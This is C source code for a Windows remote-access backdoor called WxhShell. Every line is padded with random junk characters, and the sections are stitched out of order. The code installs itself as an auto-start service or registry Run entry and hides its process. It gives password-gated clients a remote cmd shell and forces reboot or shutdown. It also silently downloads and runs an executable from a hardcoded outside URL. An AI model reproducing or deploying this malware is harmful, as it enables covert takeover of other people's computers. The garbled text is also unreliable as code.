    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Th[dW<  
    if(Boot(SHUTDOWN)) d"NLE'R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _FEF x  
    else { Nluoqo ac  
    closesocket(wsh); X@f}Q`{Ymj  
    ExitThread(0); 2[CdZ(k]5  
    } 6 r_)sHf  
    break; mqJ_W[y7  
    } !-Y3V"  
  // 获取shell Ve=b16H  
  case 's': { }-fl$j?9E  
    CmdShell(wsh); " Jr-J#gg  
    closesocket(wsh); &[SC|=U'M  
    ExitThread(0); kN>!2UfNS  
    break; `"~%bS  
  } Sc   
  // 退出 ZC}QId  
  case 'x': { T)}) pt!V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wAd9  
    CloseIt(wsh); !by\9  ?n  
    break; kW (Bkuc)  
    } j7c3(*Pl  
  // 离开 wPl%20t  
  case 'q': { go"Hf_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2"5v[,$1H  
    closesocket(wsh); :Yks|VJ1  
    WSACleanup(); s@DLt+ O5  
    exit(1); ;$tSb ~K+  
    break; Z8oK2Dw  
        } ,(4K4pN  
  } M[uA@  
  } ]~nKK@Rw  
:aQt;C6Z>  
  // 提示信息 m6djeOl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wm3X[?V  
} 7)k\{&+P  
  } km40qO@3  
XrPfotj1  
  return; }{"fJ3] c^  
} 4e1Y/ Xq`  
]fD} ^s3G  
// shell模块句柄 8*fv'  
int CmdShell(SOCKET sock) :eg4z )  
{ )WoxMmz  
STARTUPINFO si; .6V}3q$-@  
ZeroMemory(&si,sizeof(si)); _l]fkk[T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e$pV%5=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hzRYec(  
PROCESS_INFORMATION ProcessInfo; Gbw2E&a  
char cmdline[]="cmd"; * H9 8Du  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W];dD$Oqg  
  return 0; m_l[MG\  
} A4ygW:  
P2*<GjV`S/  
// 自身启动模式 "T"h)L<  
int StartFromService(void) <o= 8 FO  
{ veRm2 LSP  
typedef struct pD74+/DD  
{ Bnd [X  
  DWORD ExitStatus; f`/x"@~H5  
  DWORD PebBaseAddress; w\brVnt  
  DWORD AffinityMask; t_suF$  
  DWORD BasePriority; Ki~1qu:  
  ULONG UniqueProcessId; j w9b )  
  ULONG InheritedFromUniqueProcessId; \j)E 5b+  
}   PROCESS_BASIC_INFORMATION; I9Fr5p-%O  
$j?1g#  
PROCNTQSIP NtQueryInformationProcess; ~!3r&(  
PzR[KUK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PY0j 9$i?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o+9j?|M  
xRsWI!d+|  
  HANDLE             hProcess; $a %MOKr  
  PROCESS_BASIC_INFORMATION pbi; M|[oaanY'  
LraWcO\or'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N"y)Oca{  
  if(NULL == hInst ) return 0; _{Hj^}+$  
*~H Sy8s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y)a^(!<H<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); evJ.<{M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pXK^Y'2C!  
&yol_%C  
  if (!NtQueryInformationProcess) return 0; vI)LB)Q  
27< Enq]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q1l' 7N  
  if(!hProcess) return 0;  gRT00  
8'r[te4,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PJ'E/C)i  
Cs ifKHI  
  CloseHandle(hProcess); ;]jNk'oa  
%9RF   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !#" zTj  
if(hProcess==NULL) return 0;  =4!e&o  
C\/L v.  
HMODULE hMod; 9!DQ~k%  
char procName[255]; H]jhAf<h  
unsigned long cbNeeded; vFK<J Sk!  
j9OG\m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d&s9t;@=  
7( 2{'r  
  CloseHandle(hProcess); Y7[jqb1D  
-\n@%$M]G  
if(strstr(procName,"services")) return 1; // 以服务启动 P_#bow  
l?^4!&Nm  
  return 0; // 注册表启动 @k/NY *+  
} g SAt@2*U2  
SG4%}wn%  
// 主模块 BIWWMg  
int StartWxhshell(LPSTR lpCmdLine) P_p<`sC9  
{ )D82N`c2\i  
  SOCKET wsl; M+9gL3W  
BOOL val=TRUE; #`X?=/q  
  int port=0; ApXy=?fc  
  struct sockaddr_in door; :Qf '2.h)  
f.`*Qg L  
  if(wscfg.ws_autoins) Install(); 78%~N`x7  
<nK?LcP  
port=atoi(lpCmdLine); 1|6%evPu(  
nL.<[]r  
if(port<=0) port=wscfg.ws_port; J{&H+rd  
r_;N t  
  WSADATA data; Oh\<VvZuN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A7hVHxNJ-  
g!z&~Z:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1q1jZqno  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \A6B,|@  
  door.sin_family = AF_INET; fLm*1S|%\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |WdPE@P  
  door.sin_port = htons(port); \`\ZTZni  
B i<Q=x'Z;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hzbw>g+  
closesocket(wsl); Wh 2tNyS  
return 1; A:9?ZI/X  
} '1)$'   
Eue~Y+K*b  
  if(listen(wsl,2) == INVALID_SOCKET) { Z} r*K%  
closesocket(wsl); 2oRg 2R}  
return 1; B\:%ufd ~  
} M6-&R=78K  
  Wxhshell(wsl); x`IEU*z#  
  WSACleanup(); ([LSsZ]sj  
4u47D$=  
return 0; ;K &o-y  
5=?\1`e1[  
} o"BoZsMk  
f\>M'{cV  
// 以NT服务方式启动 "E?2xf|.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *lw_=MXSK  
{ <)-Sj,  
DWORD   status = 0; ,47Y9Kz9  
  DWORD   specificError = 0xfffffff; PJrtM AcKq  
4G>H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U,-39mr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h"lv7;B$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^vO+(p  
  serviceStatus.dwWin32ExitCode     = 0; @qlK6tE`  
  serviceStatus.dwServiceSpecificExitCode = 0; \3aoM{ztD  
  serviceStatus.dwCheckPoint       = 0; e?=^;v%r  
  serviceStatus.dwWaitHint       = 0; 2eol gXp  
1.9}_4!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9dUravC7  
  if (hServiceStatusHandle==0) return; t#pS{.I  
z}ddqZ27G$  
status = GetLastError(); 8j % Tf;  
  if (status!=NO_ERROR) tX %5BTv  
{ O[)kboY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5m(^W[u `  
    serviceStatus.dwCheckPoint       = 0; [ )dXIIM  
    serviceStatus.dwWaitHint       = 0; JU5C}%Q6  
    serviceStatus.dwWin32ExitCode     = status; b4ONh%  
    serviceStatus.dwServiceSpecificExitCode = specificError; A_5P/ARmI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u'W8;G*~  
    return; |3[Wa^U5  
  } "z=SO1  
[>%xd)8.c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g:dH~>  
  serviceStatus.dwCheckPoint       = 0; 2!J&+r  
  serviceStatus.dwWaitHint       = 0; !~D}/Q;#}\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t*T2Z-!P  
} }m;,Q9:+m^  
i,4>0o?  
// 处理NT服务事件,比如:启动、停止 lun\`f 5Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '>0fWBs  
{ <drODjB  
switch(fdwControl) 8tFoN*M  
{ jesGV<`?l  
case SERVICE_CONTROL_STOP: Rt!FPoN,y  
  serviceStatus.dwWin32ExitCode = 0; m6CI{Sa](l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iJ3e1w$  
  serviceStatus.dwCheckPoint   = 0; s<eb;Z2D  
  serviceStatus.dwWaitHint     = 0; 91  g2A|  
  { 8Sh54H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tL)t"  i  
  } 2Kyl/C,  
  return; m?fy^>1  
case SERVICE_CONTROL_PAUSE: ZR?yDgL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )PuFuf(wz  
  break; ft KTnK.  
case SERVICE_CONTROL_CONTINUE: sN2p76KN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  &NK,VB;  
  break; FZ,#0ZYJGP  
case SERVICE_CONTROL_INTERROGATE: 8UyMVY  
  break; X_|J@5b7  
}; +M$Q =6/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;n=.>s*XL'  
} 71gT.E  
E!l!OtFL  
// 标准应用程序主函数 ^o1*a&~J@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `_RTw5{  
{ b+6\JE^Mz  
A '5,LfTu  
// 获取操作系统版本 DYxCQ D  
OsIsNt=GetOsVer(); [@b&? b~K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v+`N*\J_  
pDIVZC  
  // 从命令行安装 u TK,&  
  if(strpbrk(lpCmdLine,"iI")) Install(); uPG4V2  
2fR02={-  
  // 下载执行文件 2Mmz%S'd  
if(wscfg.ws_downexe) { khrb-IY@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s,=i_gyPQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); orfO^;qTY  
} !0@Yplj  
U4-g^S[  
if(!OsIsNt) { ZUR6n>r  
// 如果时win9x,隐藏进程并且设置为注册表启动 D.Q=]jOs  
HideProc(); M#VE]J  
StartWxhshell(lpCmdLine); /ZPyN<@  
} J )~L   
else bMMh|F  
  if(StartFromService()) EzV96+  
  // 以服务方式启动 27"%"P.1  
  StartServiceCtrlDispatcher(DispatchTable); "C SC  
else B$!)YD;  
  // 普通方式启动 ]0)|7TV*  
  StartWxhshell(lpCmdLine); O 8u j`G 9  
f Tl<p&b  
return 0; D+z?wuXk  
} qA$*YIlK  
m~u5kbHOi=  
O#k6' LN?  
S=nzw-(I  
=========================================== TXk?#G\o  
&[/w_| b  
g,95T Bc  
MLWM&cFG  
;\Y& ce  
9Hu/u=vB<  
" JSW}*HR  
X+}1  
#include <stdio.h> PGBQn#c<  
#include <string.h> ;YX4:OBqr  
#include <windows.h> ,Bo>E:u  
#include <winsock2.h>  H77"  
#include <winsvc.h> jvFTR'R)=  
#include <urlmon.h> M:3h e  
}36QsH8  
#pragma comment (lib, "Ws2_32.lib") ;u(<h?%e  
#pragma comment (lib, "urlmon.lib") M8Z2Pg\0  
b7tOo7aH)  
#define MAX_USER   100 // 最大客户端连接数 : b~6i%b  
#define BUF_SOCK   200 // sock buffer U1RpLkibQ  
#define KEY_BUFF   255 // 输入 buffer QxOjOKAG  
u1PaHgi$  
#define REBOOT     0   // 重启 &c%g  
#define SHUTDOWN   1   // 关机 g(J&m< I  
,@3$X=),E  
#define DEF_PORT   5000 // 监听端口 rJ{O(n]j  
,JN8f]a^"g  
#define REG_LEN     16   // 注册表键长度 yi%-7[*]=  
#define SVC_LEN     80   // NT服务名长度 #w-xBM @  
tAte)/0C  
// 从dll定义API lh D,\3/O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @u%_1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EC8b=B<DE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .dQQoyR+O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +H #U~p$  
F>[,zN  
// wxhshell配置信息 Ii_ojQP-z  
struct WSCFG { 88h3|'*  
  int ws_port;         // 监听端口 ),!;| bh  
  char ws_passstr[REG_LEN]; // 口令 {0^&SI"5`E  
  int ws_autoins;       // 安装标记, 1=yes 0=no GF%314Xu  
  char ws_regname[REG_LEN]; // 注册表键名 I{ :(z3  
  char ws_svcname[REG_LEN]; // 服务名 Ve!fU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D{d>5P?W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HnCzbt@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i21Gw41p:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i?e`:}T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $Gv9m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /BV03B  
c#]q^L\x  
}; <_Q:'cx'  
hq/k*;  
// default Wxhshell configuration $g+[yb7@  
struct WSCFG wscfg={DEF_PORT, :`2=@.  
    "xuhuanlingzhe", | j a-  
    1, i?:_:"^x  
    "Wxhshell", -s$F&\5by  
    "Wxhshell", QtqfG{  
            "WxhShell Service", 0,rTdjH7  
    "Wrsky Windows CmdShell Service", 'X !?vK^]p  
    "Please Input Your Password: ", Bv. `R0e&  
  1, `z )N,fF  
  "http://www.wrsky.com/wxhshell.exe", 1YJC{bO  
  "Wxhshell.exe" FH%GIi  
    }; !o+_T?  
S^<g_ q  
// 消息定义模块 L%c0Z@[~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b2=0}~LK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *"r~-&IL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <rL/B k  
char *msg_ws_ext="\n\rExit."; lF?tQB/a  
char *msg_ws_end="\n\rQuit."; S&Ee,((E(  
char *msg_ws_boot="\n\rReboot..."; h=_0+\%  
char *msg_ws_poff="\n\rShutdown..."; v\"S Gc  
char *msg_ws_down="\n\rSave to "; ?9=9C"&s  
0{PzUIM,W  
char *msg_ws_err="\n\rErr!"; n[,w f9  
char *msg_ws_ok="\n\rOK!"; t2iv(swTe  
ZzBQe  
char ExeFile[MAX_PATH]; #I3$3^0i#  
int nUser = 0; (q7 Ry4-  
HANDLE handles[MAX_USER]; \7 NpT}dj  
int OsIsNt; U(;&(W"M  
^F"iP7   
SERVICE_STATUS       serviceStatus; @*DyZB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \ y{Tn@7  
T=:]]nf?M  
// 函数声明 4r0b)Y &I  
int Install(void); Yl$SW;@  
int Uninstall(void); 5pRV 3K{H  
int DownloadFile(char *sURL, SOCKET wsh); j]m|7]  
int Boot(int flag); .*JA!B  
void HideProc(void); F5qFYL;  
int GetOsVer(void); AkT<2H|4  
int Wxhshell(SOCKET wsl); A &9(mB  
void TalkWithClient(void *cs); okFvn;  
int CmdShell(SOCKET sock); ~|AwN [  
int StartFromService(void); Z0>DNmH*  
int StartWxhshell(LPSTR lpCmdLine); fQ=MJ7l  
KyO8A2'U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $VQtwuYt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =FT98H2*|  
z]bwnJfd  
// 数据结构和表定义 {gaai  
SERVICE_TABLE_ENTRY DispatchTable[] = ?[MsQQd~  
{ |fY/i] Ax  
{wscfg.ws_svcname, NTServiceMain}, KB!|B.ChN(  
{NULL, NULL} zPKr/  
}; e~T@~(fft  
;u(Du-Os!  
// 自我安装 OLj\-w^  
int Install(void) UYtuED  
{ aRJ>6Q}  
  char svExeFile[MAX_PATH]; ?P7]u>H  
  HKEY key; <(e8sNe  
  strcpy(svExeFile,ExeFile); 35x 0T/8  
hwDbs[:  
// 如果是win9x系统,修改注册表设为自启动 X5*C+ I=2  
if(!OsIsNt) { Y}DonF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =0'q!}._!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] k8/#@19  
  RegCloseKey(key); nD2, !71  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wi}FY }f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9cv]y#  
  RegCloseKey(key); TV}}dw  
  return 0; z>[tF5  
    } 5')8r ';,  
  } 9ElCg"  
} $8BE[u|H2  
else { U`x bPQ  
Q\3 Z|%  
// 如果是NT以上系统,安装为系统服务 M}hrO-C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {+g[l5CR[  
if (schSCManager!=0) =)OC|?9 C\  
{ .6pOvGKb  
  SC_HANDLE schService = CreateService =[<m[.)i  
  ( g+C!kaC)  
  schSCManager, S? 0)1O  
  wscfg.ws_svcname, NS,5/t  
  wscfg.ws_svcdisp, Z2bcCIq4  
  SERVICE_ALL_ACCESS, i$KpDXP\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]fI/(e_U  
  SERVICE_AUTO_START, 4E:bp   
  SERVICE_ERROR_NORMAL, W];EKj,3W  
  svExeFile, l48k<  
  NULL, 1 Ee>S\9t  
  NULL, e[t<<u3"  
  NULL, 41 vL"P K  
  NULL, i NWC6y  
  NULL v}v 5  
  ); m!OMrZ%)}  
  if (schService!=0) s Fgadz6O  
  { bxXiQa  
  CloseServiceHandle(schService); U~2`P  
  CloseServiceHandle(schSCManager); vY*\R0/a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yp4c'Zk  
  strcat(svExeFile,wscfg.ws_svcname); *V;3~x!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gK3Mms]}m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xqHL+W  
  RegCloseKey(key); ; W7Y2Md  
  return 0; s-V SH  
    } fH8!YQG8$  
  }  [&P`ak  
  CloseServiceHandle(schSCManager); Ld|V^9h1;  
} 7nHTlI1 b  
} g9my=gY  
4rU! 4l  
return 1; G7* h{nE  
} em]xtya  
&4$oudn  
// 自我卸载 r5/R5Ga^  
int Uninstall(void) u>Ki$xP1  
{ ZZ)G5ji  
  HKEY key;  9|S`ub'  
a1MFjmq  
if(!OsIsNt) { 2#_38=K=@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5`E))?*"Pe  
  RegDeleteValue(key,wscfg.ws_regname); \T-~JQVj  
  RegCloseKey(key); `HX3|w6W;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1ZKzumF  
  RegDeleteValue(key,wscfg.ws_regname); H"+c)FGi  
  RegCloseKey(key); R.1Xst &i  
  return 0; M} .b" ljZ  
  } =J |sbY"]  
} f8:$G.}i  
} p`+VrcCBOd  
else { /4joC9\AB  
wh~s Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O=jN&<rb  
if (schSCManager!=0) DPJh5d  
{ f(u&XuZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]RFdLV?  
  if (schService!=0) +CTmcbyOi  
  { }BN\/;<A  
  if(DeleteService(schService)!=0) { ^@}#me@  
  CloseServiceHandle(schService); Eqphd!\#6  
  CloseServiceHandle(schSCManager); GH3#E*t+[  
  return 0; < `Z%O<X  
  } cINHH !v  
  CloseServiceHandle(schService); H|+tC=]4IZ  
  } 5iWe-xQ>  
  CloseServiceHandle(schSCManager); 4-:7.I(hq  
} =p\Xy*  
} ,sb1"^Wc  
6d{j0?mM  
return 1; ?TuI:dC  
} H(\V+@~>AD  
i@$-0%,  
// 从指定url下载文件 *e<_; Kr?  
int DownloadFile(char *sURL, SOCKET wsh) _F8T\f |  
{ LC'2q*:'  
  HRESULT hr; ( D}" &2  
char seps[]= "/"; |@`"F5@,  
char *token; *:arva5  
char *file; Sa}D.SBg  
char myURL[MAX_PATH]; bc}dYK3$q  
char myFILE[MAX_PATH]; @ u1Q-:  
J#7(]!;F  
strcpy(myURL,sURL); R[ yL _>  
  token=strtok(myURL,seps); z Z%/W)t  
  while(token!=NULL) )bYez  
  { H%Y%fQ ~^  
    file=token; dB`b9)Tk0z  
  token=strtok(NULL,seps); YMAQ+A!  
  } BQ#jwu0e  
<"I?jgo  
GetCurrentDirectory(MAX_PATH,myFILE); VC=6uB  
strcat(myFILE, "\\"); 8!j=vCv  
strcat(myFILE, file); uJPH~mdW   
  send(wsh,myFILE,strlen(myFILE),0); b|E/LKa  
send(wsh,"...",3,0); &"j@79Ym1~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !P"?  
  if(hr==S_OK) B+D`\Nlo  
return 0; Ve14rn  
else %vc'{`P  
return 1; ma7fDo0,`h  
<R~KM=rL  
} Cj$H[K}>  
d[U1.SNL  
// 系统电源模块 tQ0=p| T]  
int Boot(int flag) ]hUKuef  
{ ? -{IsF^  
  HANDLE hToken; 3o7xN=N  
  TOKEN_PRIVILEGES tkp; B&nw#saz.  
aL$j/SC  
  if(OsIsNt) { B*Cb6'Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4sd-zl$Of  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U$$3'n  
    tkp.PrivilegeCount = 1; O<a3DyUa;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U]j&cFbn5_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u<q)SQ1  
if(flag==REBOOT) { jf7pl8gv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y\>\[*.v  
  return 0; !47A$sQ  
} bBFwx@  
else { ;8EjjF [>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ) ]]|d  
  return 0; au A.6DQ  
} s7Qyfe&>  
  } n +d J c  
  else { eH `t \n  
if(flag==REBOOT) { %o-jwr}O{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T`mEO\f  
  return 0; WFpl1O73  
} 6)+9G_  
else { q @*UUj@   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eHROBxH&  
  return 0; WnO DDr  
} `^f}$R|  
} K*[0dza$  
\ >(zunL  
return 1; H>Sf[8w)%  
} 6DO0zNTY  
Z#LUez;&t#  
// win9x进程隐藏模块 I`#EhH  
void HideProc(void) p1uN ]T7>  
{ = jBL'|k5  
~W/}:;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bx%=EN5.  
  if ( hKernel != NULL ) eAU"fu6d  
  { ev*c4^z:s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g)nXo:)&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )PHl>0i!  
    FreeLibrary(hKernel); ;_w MWl0F  
  } ],$6&Cm  
=QTmK/(|B  
return; v6KL93  
} C,R,:zR  
\c FAxL(  
// 获取操作系统版本 i~ROQMN1  
int GetOsVer(void) taBO4LV  
{ 3lyQn "  
  OSVERSIONINFO winfo; _i.({s&_9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tc5M$b3^2  
  GetVersionEx(&winfo); AtuZF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _4~k3%w\`l  
  return 1; gnYnL8l`J  
  else e=-YP8l  
  return 0; i~(#S8U4d  
} 69?I?,7  
Bac?'ypm  
// 客户端句柄模块 _RgxKp/d  
int Wxhshell(SOCKET wsl) my=*zziN  
{ ?! _u,sT  
  SOCKET wsh; YlG; A\]k  
  struct sockaddr_in client; [3GKPX:OA/  
  DWORD myID; -uO%[/h;N  
THb A(SM  
  while(nUser<MAX_USER) V5cb}xx  
{ IOn`cbV:  
  int nSize=sizeof(client); %~ ;nlDw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); il=?of\,i  
  if(wsh==INVALID_SOCKET) return 1; '/n\Tg+  
Xk 5oybDI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @_G` Ok4  
if(handles[nUser]==0) B<rPvM7a  
  closesocket(wsh); rrW! X q  
else !Jh*a *I}  
  nUser++; 'et(:}i  
  } q`h7H][(A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ry z /rf  
]cS&8{ ^2  
  return 0; cvn-*Sj  
} =H L9Z  
U[blq M  
// 关闭 socket @F>[DW]O  
void CloseIt(SOCKET wsh) nm<L&11  
{ qT 5Wa O)  
closesocket(wsh); #}nBS-+  
nUser--; J!ln=h  
ExitThread(0); /IrKpmbq  
} L;L2j&i%v)  
U$MWsDn   
// 客户端请求句柄 ?< -wHj)  
void TalkWithClient(void *cs) Y=PzN3  
{ y-D>xV)n  
L; @a E[#z  
  SOCKET wsh=(SOCKET)cs; F%w\D9+P  
  char pwd[SVC_LEN]; E `?S!*jm  
  char cmd[KEY_BUFF]; &;'w8_K"^  
char chr[1]; JkRGtYq  
int i,j; 9)8*FahW  
R:SIs\%o  
  while (nUser < MAX_USER) { wn&[1gBxM  
DX]z=d)tc  
if(wscfg.ws_passstr) { 4da ^d9ZOy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cYBrRTrI#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bkJwPs  
  //ZeroMemory(pwd,KEY_BUFF); hhN(;.  
      i=0; ?*B;514  
  while(i<SVC_LEN) { t sC z+MP  
clij|?O  
  // 设置超时 8 ))I$+  
  fd_set FdRead; zS&7[:IRs'  
  struct timeval TimeOut; =>E44v  
  FD_ZERO(&FdRead); 2 rbX8Y  
  FD_SET(wsh,&FdRead); qpH j4  
  TimeOut.tv_sec=8; /&y,vkZTT  
  TimeOut.tv_usec=0; @^w!% ?J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;igE IGR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (!^N~ =e;  
+H5 jRw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {X{01j};8  
  pwd=chr[0]; %Z-TbOX  
  if(chr[0]==0xd || chr[0]==0xa) { e7)>U!9c9  
  pwd=0; z:@d@\$?  
  break; +]aD^N9['  
  } VQZT.^  
  i++; bQ${8ZO  
    } Udb0&Y1^  
pO-)x:Wg  
  // 如果是非法用户,关闭 socket gDUoc*+h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J tn&o"C  
} o(S^1j5  
ee__3>H"/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rd f85%%7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?j},O=JFn  
_rWTw+ L  
while(1) { (7 ]\p  
AmUe0CQ:k'  
  ZeroMemory(cmd,KEY_BUFF); K6 PC&+x  
^MF=,U'8  
      // 自动支持客户端 telnet标准   >?:i6&4o  
  j=0; oW\Q>c7 =  
  while(j<KEY_BUFF) { r zc 3k~@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #,Fx@3y\a  
  cmd[j]=chr[0]; _.s\qQ  
  if(chr[0]==0xa || chr[0]==0xd) { 72B zvY.  
  cmd[j]=0; +4p2KYO  
  break; b*$o[wO9  
  } .pNq-T  
  j++; &**.naSo  
    } i&AXPq>`  
exa}dh/uC  
  // 下载文件 j[Hg]  
  if(strstr(cmd,"http://")) { DVeF(Y3&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bk@_]a  
  if(DownloadFile(cmd,wsh)) $P1d#;rb%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -v/?>  
  else }&'yt97+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |\{J` 5gr  
  } ,sy / r V  
